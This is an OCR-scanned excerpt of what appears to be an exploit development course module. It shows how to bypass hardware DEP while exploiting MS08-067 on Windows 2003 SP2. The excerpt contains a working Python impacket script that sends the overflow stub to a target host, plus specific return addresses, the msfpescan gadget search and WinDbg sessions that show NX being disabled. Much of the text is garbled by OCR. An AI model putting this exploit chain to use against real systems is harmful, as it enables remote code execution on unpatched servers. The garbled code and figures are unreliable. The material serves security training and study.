e Understanding Hardware Enforced Data Execution Prevention
* Exploiting the MS08-067 vulnerability bypassing hardware-enforced DEP

When we started to work on MS08-067 our objective was to obtain a working exploit on the Windows
2003 SP2 platform with Hardware DEP enabled. After a bit of research, we found the following comment
in the Metasploit ms08_067_netapi exploit:

“There are only two possible ways to return to NtSetinformationProcess on Windows 2003 SP2, both of
these are inside NTDLL.DLL and use a return method that is not directly compatible with our call stack. To
solve this, Brett Moore figured out a multi-step return call chain that eventually leads to the NX bypass
function.” Please note that the method described in this module is different than the one Brett Moore
used.
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With the advent of Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1, a new security
feature was introduced to prevent code execution from a non-executable memory region: DEP (Data

Execution Prevention).
DEP is capable of functioning in two modes:
¢ hardware-enforced for CPUs that are able to mark memory pages as non-executable;

* software-enforced for CPUs that do not have hardware support.

Software-enforced DEP protects the operating system from SEH overwrite attacks®. (Bypassing software

DEP is not covered in this module.)

In this module we will improve the exploit for the MS08-067 vulnerability, coded in Module 0x01, on
Windows 2003 SP2 with hardware-enforced DEP enabled.

On compatible CPUs, hardware-enforced DEP enables the non-executable bit (NX) that separates
between code and data areas in system memory. An operating system supporting NX bit, could mark
certain areas of memory as non-executable, so that CPU will then refuse to execute any code residing in
these areas of memory. This technique, known as executable space protection, can be used to prevent
malware from injecting their code into another program’s data storage area, and later running their own
code from within this section. Please take the time to read [7] and [8] to get familiar with the hardware-

enforced DEP concept.

6“Preventing the Exploitation of SEH Overwrites" (skape 09/2006)
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In some instances, hardware-enforced DEP (from now we will refer to Hardware-enforced DEP as DEP)
can unexpectedly prevent legitimate software from executing due to particular application compatibility
issues. Microsoft, realizing this problem, designed DEP so that it could be possible to configure it at
different levels. At a global level, the operating system can be configured through the /NoExecute
option in boot.ini to run in:

1. Optin mode: DEP enabled only for system processes and custom defined applications;

2. OptOut mode: DEP enabled for everything except for applications that are specifically exempt;
3. AlwaysOn mode: DEP permanently enabled

4. AlwaysOff mode: DEP permanently disabled

A more interesting aspect is the fact that DEP can also be enabled or disabled on a per-process basis at
execution time’. The routine that implements this feature, called LdrpCheckNXCompatibility, resides in
ntdll.dll and performs a few different checks to determine whether or not NX support should be enabled
for the process. As a result of these checks, a call to the procedure NtSet/nformationProcess (within
ntdll) is issued to enable or disable NX for the running process. Analyzing the NtSetinformationProcess
prototype we can see that the procedure takes four input parameters:

#define MEM EXECUTE OPTION DISABLE  0x01
#define MEM EXECUTE OPTION_ENABLE 0x02
#define MEM_EXECUTE OPTION PERMANENT 0x08
ULONG ExecuteFlags = MEM EXECUTE OPTION_ENABLE;

NtSetInformationProcess (

NtCurrentProcess (), // PROCESS HANDLE = -1
ProcessExecuteFlags, // PROCESSINFOCLASS = 0x22
&ExecuteFlags, // Pointer to MEM_EXECUTE_OPTION_ENABLE

sizeof (ExecuteFlags)); // Size of the pointer ExecuteFlags = 0x4

NtSetinformationProcess Prototype

? Only if the system policy is Opt-in, Opt-out and the process is not running in Permanent DEP (see next chapter).
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The most interesting parameter to us is the pointer to the MEM_EXECUTE_OPTION_ENABLE flag, which
tells the NtSetinformationProcess function to disable the NX feature for the running process.

Now, let's consider the case of an NX enabled process that is being exploited: if an attacker had the
possibility to call the NtSetinformationProcess procedure while passing the correct parameters and
running code only from memory regions that are already executable, he would then be able to execute
his shellcode from memory regions previously marked as non-executable (stack or heap).

Please take time to deeply study the "Bypassing Windows Hardware-enforced Data Execution
Prevention" paper'® which will be the base for the following module.

1O"Bypassing Windows Hardware-enforced Data Execution Prevention", skape and Skywing 10/2005,

&
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Skape and Skywing illustrate a general approach which outlines a feasible method to circumvent
hardware-enforced DEP in the default installations of Windows XP Service Pack 2 and Windows 2003
Server Service Pack 1, taking advantage of code that already exists within ntdll.

Let’s focus on the three main key points in their theory:

1. Setting up the MEM_EXECUTE_OPTION_ENABLE flag somewhere in memory to be passed to
ntdll!ZwSetinformationProcess (see code below at address 0x7c935d6f in
ntdIl!LdrpCheckNXCompatibility );

2. Calling ntdll!LdrpCheckNXCompatibility+0x4d using our owned return address as a trampoline;

3. Having the stack frame setup so that the "ret 0x4" instruction in ntdll!LdrpCheckNXCompatibility will
return in to our controlled buffer (see code below at address 0x7c91d443 in
ntdll!LdrpCheckNXCompatibility).

{ LdrpCheckNXCompatibility Windows XP Service Pack 2 }

ntdll!LdrpCheckNXCompatibility+0x4d:

7¢c935d6d 6al4 push 0x4

7c935d6f 8d45fc lea eax, [ebp-0x4]

7¢935d72 50 push eax

7¢935d73 6az22 push 0x22

7¢935d75 6aff push Oxff

7¢935d77 e8bl88fdff call ntdll!ZwSetInformationProcess
7c935d7c e9c076feff jmp ntdll!LdrpCheckNXCompatibility+0x5c

ntdll!LdrpCheckNXCompatibility+0x5c:

7c91d441 5Se pop esi
7¢91d442 c9 leave
7c¢91d443 c20400 ret Ox4

LdrpCheckNXCompatibility Function

Point number 1 is accomplished by Skape and Skywing by returning into specific chunks of code within
ntdll:

The ES/ register is initialized to hold the value 0x2 (MEM_EXECUTE_OPTION_ENABLE) and then copied to
the address pointed by register [EBP-4]. At this point, the four parameters are pushed on the stack,
ntdlllZwSetinformationProcess is called and NX is disabled for the running process.
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Because our intent is to bypass DEP on Windows 2003 Server SP2, let’'s compare its
ntdll!LdrpCheckNXCompatibility procedure to the one present in Windows XP Service Pack 2.

{ LdrpCheckNXCompatibility Windows 2003 Server Service Pack 2 }

TC83F51E 6A 04 PUSH 4

7C83F520 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
7C83F523 50 PUSH EAX

7C83F524 6A 22 PUSH 22

7C83F526 6A FF PUSH -1

7C83F528 E8 1285FEFF CALL ntdll.ZwSetInformationProcess

{ LdrpCheckNXCompatibility Windows XP Service Pack 2 }

7C935D6D 6A 04 PUSH 4

7C935D6F 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
7C935D72 50 PUSH EAX

7C935D73 6A 22 PUSH 22

7C935D75 6A FF PUSH -1

7C935D77 E8 B18BFDFF CALL ntdll.ZwSetInformationProcess

LdrpCheckNXCompatibility Function

We are focusing on the part of the routine which is responsible to call the
ntdll!ZwSetInformationProcess function. If you check the first line of both code chunks, you will notice a

very interesting difference:

In Windows 2003 SP2, before pushing the value 0x4 on to the stack, we have a “’

» which is exactly what we need to setup the MEM_EXECUTE_OPTION_ENABLE flag in
memory! So things could get easier here, in fact if we don’t need to care about
MEM_EXECUTE_OPTION_ENABLE flag we’d “only” have to worry about setting up the stack frame to be

able to return to our controlled buffer.
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For more details about the MS08-067 vulnerability please refer to Module 0x01. The first thing we have
to do is test that a “normal” exploit will actually fail against our Windows 2003 SP2 NX box. We can start
by using the following stub exploit taken from Module 0x01:

#!/usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc

from impacket.dcerpc import transport

import sys

print Mkkkhhkhkkhkhkhkhkhkhkhkhkhkhk kA hhkhhk Ak Ak hhhkhhkhhhhkh Ak hhkhhkhkhrkrkhkhkkrkkkhkhkx?

MS08-67 Win2k3 SP2

offensive-security.com

ryujin&muts --- 11/30/2008

print Mk kA AR AR A AR A I A AR A Ak Ak A kA Ak kA Ak hk Ak hk kA Ak khkhkhhkhkhkhkkhkhkhkkhkhhk kM

print MEEkdndkwdkk Xk Kk ok Kk ok kK ok kK T

print "EEEEXK &KL A A * ok kK k ok ok ok ok ok W

prlnt ok Kk Kk ok ok ok ok ok ok ok hkkkkkkkkkW

try:
target = sys.argv[1l]
port = 445
except IndexError:
print "Usage: %s HOST" % sys.argv[0]
sys.exit ()
trans = transport.DCERPCTransportFactory('ncacn np:%s[\\pipe\\browser]'starget)
trans.connect ()
dce = trans.DCERPC class(trans)
dce.bind(uuid.uuidtup_to bin(('4b324fc8-1670-01d3-1278-5a47bf6eel88', '3.0")))
stub= "\x01\x00\x00\x00"' Reference ID

stub+="\x10\x00\x00\x00"
stub+="\x00\x00\x00\x00"
stub+="\x10\x00\x00\x00"
stub+="\x43"'%*28

stub+="\x00\x00\x00\x00"'
stub+="\x2f\x00\x00\x00"'
stub+="\x00\x00\x00\x00"
stub+="\x2f\x00\x00\x00"'

S He e S o HE 3 3

Max Count
Offset
Actual count
Server Unc

UNC Trailer Padding

Max Count
Offset
Actual Count

stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" #PATH

stub+="\x41"'*18 # Padding
stub+="\xCC'*44 # Fake Shellcode

e '\;(‘:{x\\:; (4',3,;\; ’2’ 5 :;K iy bugm s
stub+="\x44\x44\x44\x44" # Padding
stub+="\x00\x00"
stub+="\x00\x00\x00\x00" # Padding
stub+="\x02\x00\x00\x00" # Max Buf
stub+="'\x02\x00\x00\x00"' # Max Count
stub+="\x00\x00\x00\x00"' # Offset
stub+="\x02\x00\x00\x00"' # Actual Count
stub+="\x5c\x00\x00\x00"' # Prefix
stub+="\x01\x00\x00\x00" # Pointer to pathtype
stub+="\x01\x00\x00\x00" # Path type and flags.

print "Firing payload..."
dce.call (0x1f, stub) #0x1f (or 31)- NetPathCanonicalize Operation

MS08-067 fake shellcode exploit
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secur

As seen in Module 0x01, you should focus on:

o stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00', this is the
evil path which triggers the overflow;

e stub+='\xEB\xD0\x90\x90', this is the short jump which should be executed breaking the
execution flow (this jump will lead to the beginning of the egghunter in the final exploit);

e stub+='\x41'*18, this is the offset needed to overwrite the return address;

e stub+='\xb0\x8a\x80\x7c', this is our own return address, an address in memory (ntdll)
containing a JMP EDX opcode.

Now, let’s fire Windbg, attach the svchost.exe process responsible for the Server Service and set a

breakpoint on the jmp edx address:

0:041> bp 7c808ab0
0:041> bl
0 e 7c808ab0 0001 (0001) O:**** ntdll!RtlFormatMessageEx+0x132

0:041> g

root@bt # ./NX STUB Oxl.py 10.150.0.194

R R R e E R R RS E S E S S SRR S SRR RS EEEEEEEEE SRS S S SR

* Kk ok ok ok ok ok Kk kK M808_67 Win2k3 SPZ * kK ok ok ok ok ok ok ok ok
KKK K KKK KKK Offensive_security.com * Kk ok Kk ok k ok ok kK
Kk ok ok ok ok ok ok ok kKk ryuj]“n&muts o 11/30/2008 * Kk k ok ok ok ok ok kok

R R R R E R E R R R R RS S S S S RS R SRS R R R R RS R SR SRS SRS

Firing payload...

Breakpoint 0 hit
eax=ccccccee ebx=016f005c ecx=016ff4b2 edx=016££508 esi=016ff4b6 edi=016ff464

eip=7c808ab0 esp=016ff47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000246
ntdll!RtlFormatMessageEx+0x132:

7c808ab0 ffe2 jmp edx {<Unloaded T.DLL>+0x16££507 (016££508)}

0:020> dd edx
016££508 9090d0eb 44444444 00000000 00000000

0:020> p

eax=ccccccce ebx=016f005c ecx=016ff4b2 edx=016££508 esi=016ff4b6 edi=016ff464
eip=016£f508 esp=016£ff47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000246
<Unloaded T.DLL>+0x16££507:

016£f£508 ebd0 jmp <Unloaded T.DLL>+0x16£f4d9 (0l16ff4da)

0:020> p

: : (first chance)
First chance exceptions are reported before any exception handling.

This exception may be expected and handled.
ecax=ccccccce ebx=016f005c ecx=016ff4b2 edx=016££508 esi=016ffdb6 edi=016ff464

eip=016ff508 esp=016ffd7c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00010246
<Unloaded T.DLL>+0x16££507:

016££508 ebd0 jmp <Unloaded T.DLL>+0x16££f4d9 (016ff4da)

Windbg Session, testing NX
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The EDX register points to a short jump, so let's try to step over and see if our jump instruction is going

to be executed:

&1 pid 2728 - WinDhg:6.11.0001.404 X86

File Edit “iew Debug wWindow Help
7= @ = W OO @ HEWQBEOREO00E =5

c =5=0023 Cfs=003b  gs=0000  efl=0
<Unloaded T .DLL»+
016££508 ebd0 Imp ¢Unloaded_T DLL»>+0x16f£4d9 (016£f4ds)

0:020¢:

{328 b98): Access violation - code 0000005 (first chance)

First chance exceptions are reported before any exception handling.

Thiz exception nay be expected and handled.

eax=cccoocoe ebx=016f005c ecx=016ff4b2 edx=016f{502 esi=01lcffdbt edi=01l6ffdnd

eip=016££508 esp=016ffd7c ebp=41414141 1opl=0 nv up =1 pl zr na pe nc
c=2=001b ss=0023 d=s=0023 es=0023 f{=z=002b g==0000 ef1=00010246
<Unloaded T DLL:+0=x16££507:
J16££508 =bdl Inp <Unloaded T DLL-+0xzl6ffd4d9 (01cffdda)
<
0:0205 |
X
Offset: (@3scopeip Previous Next
0l6ffdfe =bdl Inp <Unloaded_T DLL:+0xleffdef (016f£4d0)
016f£500 90 nop
016££501 90 nop
016££502 44 inc 22p
016££503 44 inc e2p
016££504 44 inc =2p
016££505 44 inc =sp
016f£5086
016££50a 90 nop
016££50h 30 nop
016££50c 44 inc esp
016£f£50d 44 inc 2sp
116££50e 44 inc esp
N16££50f 44 inc esp

B 0

SER]

[20:56:43] Access violation when executing [0124F508] - use Shift+F7/F8/F3 to pass exception to program

Figure 14: ID clearly shows an access violetion while executing an instruction on the stack

As expected, because our code resides on the stack and NX is enabled, the CPU refuses to execute it!
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1) Repeat the required steps in order to test that a “normal” exploit won’t work on the NX enabled
server.
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The first step toward disabling NX, is calling the chunk of code located at LdrpCheckNXCompatibility+N
bytes from our owned return address, and inspecting the stack frame. Let’s check for the entry point we
need in ntdll, searching for the following opcodes:

C745 FC 02000000 MOV DWORD PTR SS:[EBP-4],2

6A 04 PUSH 4

8D45 FC LEA EAX,DWORD PTR SS: [EBP-4]
50 PUSH EAX

6A 22 PUSH 22

6A FF PUSH -1

0:017> 'dlls -c ntdll
Dump dll containing 0x7c800000:
0x00081£f08: C:\WINDOWS\system32\ntdll.dll
Base 0x7c800000 EntryPoint 0x00000000 Size 0x000c0000
Flags 0x80004004 LoadCount 0x0000ffff TlsIndex 0x00000000
LDRP_IMAGE DLL
LDRP_ENTRY PROCESSED

0:017> s 0x7c800000 Lc0000 c7 45 fc 02 00 00 00 6a 04 8d 45 fc 50 6a 22 6a ff
3 c7 45 fc 02 00 00 00 6a-04 8d 45 fc 50 6a 22 6a .E..... j..E.Pj"]

0:017> u 7c83£517

ntdll!LdrpCheckNXCompatibility+0x2b:

7c83£517 c745£c02000000 mov dword ptr [ebp-4],2

7c83f51le 6a04 push 4

7c83£520 8d45fc lea eax, [ebp-4]

7c83£523 50 push eax

7c83£524 6a22 push 22h

7c83£526 6aff push OFFFFFFFFh

7c83£f528 eBl285feff call ntdll!NtSetInformationProcess (7c¢827a3f)
7c83£52d eY%9ab4effff jmp ntdll!LdrpCheckNXCompatibility+0x5a (7c8343d7)

Searching for LdrpCheckNXCompatibility entry point

Now that we have our address, we can modify the stub exploit and launch it, remembering to set up a
breakpoint on it. As you can see below, all we need to change in NX_STUB_0x2.py is the return address:

| R |
stub+="'\x41'*18 # Padding

[...1]

NX_STUB_0x2 Source Code

And then follow the new session in WinDbg:

0:017> bp 7¢c83£517

0:017> bl

0 e 7c¢83f517 0001 (0001) 0:**x* ntdll!LdrpCheckNXCompatibility+0x2b
0:017> g
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root@bt #./NX STUB Ox2.py 10.150.0.194

LR I R I O I T b g S g

ok kok ok ok ok ok ok ok M508_67 Win2k3 SPZ Kk kK ok ok ok ok ok ok ok ok
ke sk ok K offensive-security.com ffatabc okl f B
Kk ok ok kK kokokk ryujin&muts e it o 11/30/2008 *kk ok ok ok ok ok kK

LR R R R RS E TR R R R E R R R e R 3

Firing payload...

Breakpoint 0 hit
eax=ccccccce ebx=00d4005¢c ecx=00d4f4b2 edx=00d4f508 esi=00d4f4b6 edi=00d4f464

eip=7c83f517 esp=00d4f47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 f£s=003b gs=0000 ef1=00000246
ntdll!LdrpCheckNXCompatibility+0x2b:

7c83£f517 ¢c745£c02000000 mov dword ptr [ebp-4],2 ss:0023:4141413d=222272272?
ESI ->00d4f4b6 2e 00 2e 00 5c 00 41 41 41 41 41 41 41 41 41 41 ....\.AAAAAAAAAA

00d4f4c6 41 41 41 41 41 41 41 41 17 £5 83 7c cc cc cc cc AAAAAAAA...|....

EDI ->00d4f464 5c 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 \.AAAAAAAAAAAAAA
00d4£f474 41 41 41 41 17 £f5 83 7c cccccccccccceccecc AARBA...|........

EDX ->00d4£508 cc cc cc cc cc cc cc cc 00 00 00 00 00 00 00 00 ................
00d4£518 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

ECX ->00d4f4b2 0Oa 00 5¢ 00 2e 00 2e 00 5c¢c 00 41 41 41 41 41 41 ..\..... \.AAAAAA
00d4£f4c2 41 41 41 41 41 41 41 41 41 41 41 41 17 £5 83 7c AAAAAAAAAARAA... |

ESP ->00d4f47c cc cc CC CC CC CC CC CC CC CC CC CC CC CC CC CC  + v v veteenennn
00d4£f48c cCc €cC CC CC CC CC CC CC CC CC CC CC CC CC CC CC vt v tminenennnnn

Setting Breakpoint on new RET / NX STUB 0x2 session

The breakpoint has been hit and from the registers' status we can make the following considerations:

* The EBP register is completely overwritten, but we need it to point to a valid stack address under

our control for two reasons:

1. The “mov dword ptr [ebp-4],2” opcode located at LdrpCheckNXCompatibility+0x2b,
needs a valid address to set the MEM_EXECUTE_OPTION_ENABLE flag on the stack;

2. The LdrpCheckNXCompatibility epilogue (leave, ret 0x4) will restore the stack and
registers back to the state they were in, before the function was called" and if EBP
doesn’t point to a controllable stack address, we won't be able to regain code execution

once NX is disabled.

11
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* We can use one of the other 32bit registers to make EBP point to a valid stack address, exploiting an
opcode sequence located in an executable part of the memory, for example:

mov ebp, r32
retn
where r32 is a cpu 32 bit register (other opcodes may obtain the same result).
* The EDI register looks like a good candidate because it points just 2 bytes before the beginning of
our buffer (5c 0041 41 4141 414141 41414141414141).
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S.EII’

The Metasploit Framework provides a useful tool for profiling running processes in memory called
memdump.exe. Memdump.exe is used to dump the entire memory space of a running process and,
use, combined with msfpescan may result in a really powerful “return address search engine”!

Let’s dump the entire memory space of svchost.exe responsible for the Server Service (you can check its
pid using the Windbg Attach Function, or “Process Explorer” from sysinternals®?).

C:\Documents and Settings\Administrator\Desktop>memdump.exe
Usage: memdump.exe pid [dump directory]

C:\Documents and Settlngs\Admlnlstrator\Desktop>memdump exe 796 svchost dump
[*] Creating dump directory...svchost dump

[*] Attaching to 796...

[*] Dumping segments...

[*] Dump completed successfully, 76 segments.

C:\Documents and Settings\Administrator\Desktop>

Memdump in action

Once we have copied the svchost_dump directory to BackTrack, we can start using msfpescan. Let's take

a look at its options:

root@bt # ./msfpescan

Usage: ./msfpescan [mode] <options> [targets]
Modes:
-j, --jump [regA,regB, regC] Search for jump equivalent instructions
-p, —-poppopret Search for poptpop+ret combinations
-r, --regex [regex] Search for regex match
-a, --analyze-address [address] Display the code at the specified address
-b, --analyze-offset [offset] Display the code at the specified offset
-f, --fingerprint Attempt to identify the packer/compiler
-i, --info Display detailed information about the image
-R, --ripper [directory] Rip all module resources to disk
--context-map [directory] Generate context-map files
Options:
-M, --memdump The targets are memdump.exe directories
-A, --after [bytes] Number of bytes to show after match (-a/-b)
-B, --before [bytes] Number of bytes to show before match (-a/-b)
-D, --disasm Disassemble the bytes at this address
-I, --image-base [address] Specify an alternate ImageBase
-h, --help Show this message

Msfpescan in action

12
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“r” and ““M” are the options we are looking for, but first, we must discover what opcodes we are
searching for. We can accomplish this task using another Metasploit utility: nasm_shell.

root@bt ~/framework-3.2 # tools/nasm shell.rb
nasm > mov ebp, edi

00000000 89FD mov ebp,edi
nasm > retn

00000000 cC3 ret

nasm > retn 0Ox4

00000000 C20400 ret Ox4
nasm > retn 0x8

00000000 20800 ret 0x8
nasm >

root@bt # msfpescan -r "\x89\xFD\xc3" -M /tmp/svchost dump/ | grep Ox

root@bt # msfpescan -r "\x89\xFD\xc2\x04" -M /tmp/svchost dump/ | grep Ox
root@bt # msfpescan -r "\x89\xFD\xc2\x08" -M /tmp/svchost dump/ | grep Ox

Msfpescan in action

We found one match! Let’s check with Windbg if the selected address resides in a memory page marked

as executable:

0:049> 'address 0x76409e92
76300000 : 76392000 - 0012e000

Type 01000000 MEM IMAGE
State 00001000 MEM COMMIT
Usage RegionUsageImage

FullPath c:\windows\system32\netshell.dll

Checking Protection on Address Memory Page

We can’t use 0x76409e92 as a return address because it resides in a memory page marked as readonly.
Let’s try to search for a different opcode sequence which leads to the same result:

root@bt ~/framework-3.2 # tools/nasm shell.rb
nasm > push edi

00000000 57 push edi
nasm > pop ebp

00000000 5D pop ebp
nasm >

root@bt # msfpescan -r "\x57\x5d\xc3" -M /tmp/svchost dump/ | grep Ox
root@bt # msfpescan -r "\x57\x5d\xc2\x04" -M /tmp/svchost dump/ | grep Ox

Msfpescan in action
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We found more than one match! Let’s check with Windbg if the selected address resides in a memory

page marked as executable:

0:017> 'address 0x77e083a2
77e00000 : 77e01000 - 0001a000

0:017> u 0x77e083a2

Type

State
Usage

01000000 MEM IMAGE

00001000 MEM_COMMIT
RegionUsageImage

FullPath C:\WINDOWS\system32\NTMARTA.DLL

NTMARTA!CKernelContext: :GetKernelProperties+0xf:

77e083a2 57
77e083a3 5d
77e083a4 c20400
77e083a7 90
77e083a8 90
77e083a9 90
77e083aa 90
77e083ab 90

push

Pop
ret
nop
nop
nop
nop
nop

edi
ebp
4

Checking Protection on Address Memory Page

Yes! Our return address should be fine.
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We are ready to modify our exploit; we are going to modify the “stub” buffer that is presented below:

stub= "\x01\x00\x00\x00"'
stub+="\x10\x00\x00\x00"'
stub+="\x00\x00\x00\x00"' Offset

stub+="\x10\x00\x00\x00" Actual count

# Reference ID
#
#
#
stub+="\x43"'*28 # Server Unc
#
#
#

Max Count

stub+="\x00\x00\x00\x00"' UNC Trailer Padding
stub+="\x2f\x00\x00\x00"' Max Count

stub+="\x00\x00\x00\x00"' Offset

stub+="\x2f\x00\x00\x00"' # Actual Count
stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"' #PATH
stub+="\x41"*18 # Padding

stub+="\x17\x£5\x83\x7c’ # 0x7c¢83£f517 mov dword ptr [ebp-4],2 (NX)

stub+="\x00\x00"

stub+="\x00\x00\x00\x00" # Padding
stub+="\x02\x00\x00\x00"' # Max Buf
stub+="\x02\x00\x00\x00" # Max Count
stub+="\x00\x00\x00\x00" # Offset
stub+="\x02\x00\x00\x00" # Actual Count
stub+="\x5c\x00\x00\x00"' # Prefix
stub+="\x01\x00\x00\x00" # Pointer to pathtype
stub+="\x01\x00\x00\x00"' # Path type and flags.

NX_STUB_0x03 stub buffer

Let’s attach Windbg to the svchost.exe process, set a breakpoint on address 0x77e083a2 (push edi;pop
ebp;retn 4) and launch our new exploit:

0:045> bp 0x77e083a2

0:045> bl

0 e 77e083a2 0001 (0001) OQ:***x*
NTMARTA'!CKernelContext: :GetKernelProperties+0xf

root@bt #./NX STUB 0x3.py 10.150.0.194

Fok ok ok k ok ok k ok ok k ok ok ok ok kkokk ok kK Kk Kk kK ok ok ok ok kR ke ok ke k k ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok K

* kK ok ok ok ok k ok k MSO8_67 Win2k3 SPZ Kk ok kk ok ok ok ok ok kK
Ehusdxkkux offensive-security.com KA TR a TR
Kk ok ok ok ok ok ok ok ok ok ryujin&muts —_—— 11/30/2008 * ok ok ok ok ok ok ok koK

ok k Kk Kk kA KK FAKRAAAKR A KA K A AKX A AR AR AR I AF I I AKX K KKKk hhkokkkkkkxx

Firing payload...

Breakpoint 0 hit
eax=7c83f517 ebx=012d005c ecx=012df4b2 edx=012df508 esi=012df4b6 edi=012df464

eip=77e083a2 esp=012df47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000246
NTMARTA ! CKernelContext: :GetKernelProperties+0xf:

77e083a2 57 push edi
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ESP-> 012df47c 7c83£517 ntdll!LdrpCheckNXCompatibility+0x2b
012d£f480 ccccccece
012df484 ccccecccce
012df488 ccccccce
012df48c ccccccecce
012df490 ccccccecce
012df494 ccccccece
012df498 ccccccce
012df49c ccccccce
012df4a0 cccccccce
012df4ad ccccccce
012df4a8 ccccccce
0l2dfd4ac ccccccecce

Stepping over..

0:012> p

eax=7c83f517 ebx=012d005c ecx=012df4b2 edx=012df508 esi=012df4b6 edi=012df464
eip=77e083a3 esp=012df478 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss5=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000246
NTMARTA!CKernelContext: :GetKernelProperties+0x10:

77e083a3 5d pop ebp

0:012> p

eax=7c83£517 ebx=012d005c ecx=012df4b2 edx=012df508 esi=012df4b6 edi=012df464
eip=77e083a4 esp=012df47c ebp=012df464 iopl=0 nv up el pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000246
NTMARTA'!CKernelContext: :GetKernelProperties+0x11:

77e083a4 c20400 ret 4

NX_STUB_0x03 session

At this point, the EBP register points to the beginning of our buffer as we wanted. Let’s step over until
we reach “call ntdll!NtSetInformationProcess” to see what the stack is going to look like:

O

[012d£464 Sc
(01248474 41
012d£484
01241454
012df4ad
012df4bd
012didcd

012d
012dfded o
012df4£4
012d£504
012df514 &
012df524 30
012df534
012d4f544
012d4£554
012d£564
012d£57 : 77 bg £S5 2 L
0124£584 00 00 00 00 Q0 00 00 Q0 ak 95 f6 77 1la 77 f6 77 . Loowww
012d4£594 00 00 0Q 00 QO 0O 00 QO 08 10 00 00 3= 03 00 00 . N
012dfSad 10 86 £9 03 40 £7 2d 01 21 a4 82 7c fo a0 82 Jc L= |
012df5k4 Q0 0O 00 Q0 OO0 00 0O 00 Q0 10 00 Q0 22 8d fe 77 o e
012dfSc4 12 &8d £5 77 02 00 00 00 30 2d f6 77 74 £8 24 01 w0yt .~

Figure 15: EBP register pointing to the beginning of the buffer
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0:012> p

eax=7c83f517 ebx=012d005c ecx=012df4b2 edx=012df508 esi=012df4b6 edi=012df464

eip=7c83£f517 esp=012df484 ebp=012df464 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000246

ntdll!LdrpCheckNXCompatibility+0x2b:

7c83£517 c745£c02000000 mov dword ptr [ebp-4],2 ss:0023:012df460=012df4b4
[...1

7c83£528 e81285feff call ntdll!NtSetInformationProcess (7c827a3f)

At this point the stack looks like the following:

ESP -> 012df474 ffffffff
012d£478 00000022
012df47c 012d£460
012d£480 00000004

ntdllINtSetInformationProcess arguments on the stack

We’ve just push onto the stack all the arguments required by ntdll!NtSetinformationProcess. Proceeding
with the call, ntdll!NtSetinformationProcess returns 0 (EAX register) and NX is disabled for the running
process.

Figure 16: NX disabled for the running process
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At this point, execution flow proceeds with the procedure epilogue (“or byte ptr[esi+37h],80h; pop esi;

leave; retn 0x4”)" and our first objective has been achieved.

Figure 17: LdrpCheckNxCompatibility epilogue

1) Repeat the required steps in order to disable DEP for the running process.

Bplease note that, according to the function epilogue, ESI must point to a writable memory address too. In this
case we didn't have to fix ES/ because it was already and “luckily” pointing to a stack address.
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We must now worry about regaining the execution flow by returning into our controlled buffer. Let’s
analyze the function epilogue and the cpu registers to see what is about to happen:

POP ESI -> ESP is incremented by 0x4 ESP = 012df488 ccccccce
LEAVE -> mov esp, ebp -> ESP = EBP = EDI = 012df464 5c 00 41 41

pop ebp -> ESP = 012df464 + 0x4 = 012df468 41 41 41 41
RETN 4 -> EIP = 012df468 = 41 41 41 41

ESP = ESP + 0x8 = 012df470 2d £f5 83 7c

ntdll!NtSetinformationProcess arguments on the stack

(M EMemor
Dffset: @Szcapeip Previous MNext Virtuah f-951::
7cB8343b% Qf8558L10000 ine ntdll!LdrpCheckNiCompatibility+0x2b {7cB3£517  Display Format: Pointer and Symb v .
?28343bf 56 push esi iy o " o o 2
7c8343c0 =8dc510000 call ntdll!LdrpCheckNxInconpatibleDl15ection (7cB3 METRRRLER=m=m= -
7cB834305 8420 test al,al 01:1@488 CCoCoooT
708343c7 0£851£020100 ine ntdll ! LdrpCheskiXConpatibility+0x3e (7c84G1lss OlclidBe :
7c8343cd 837dEcO0 cmp dvword ptr [ebp-4].0 0121£490
7c8343d1 DEBS47b10000 ine ntdll!LdrpCheckNiConpatibility+0xdb {7cB3f51s Dlclfdsd
7c8343d7 804=3780 or byte ptr [esi+37h]. 80k 01c1£498 ccoccooe
17-8343dE Se noD e 01z1£49¢ cocccooo
343dc leave 0lcifdal lloltud
7c8343dd 20400 ret 4 01z1fd4ad coccccon
7c2343e0 64a118000000 nowv eax, dword ptr fs:[<Unloaded_SG DLL>+0x17 (000 0lclfdaB cococoeo
7-8343e6 BH4030 nowv eax. dvord ptr [eax+30h] 0lclidac ccococcooo N
7:834459 8b780c nov edi, dword ptr [eax+0Ch] 01c1£4b0 00080000 <Unloaded SG. DLL>+
7c8343ec 83c71ic add =di.1iCh Dlclfdbd 002=2005c <Unloaded SG. DLL >+
7¢8343ef 897dac now dvord ptr [ebp-54h]. edi 01c1£4b8 005c0022 <Unloaded SG.DLL>+ v
) i b4 =3 »
LnG, Cal @ Sys(i<localy Proc 00Ctded  Thrd 0191830 MUM
Figure 18: Stack frame layout in LdrpCheckNxCompatibility epilogue (before POP ESI)
£ Ox
OFfset: @%zcopeip Previous | MNext Wirkual: jesp Pravious
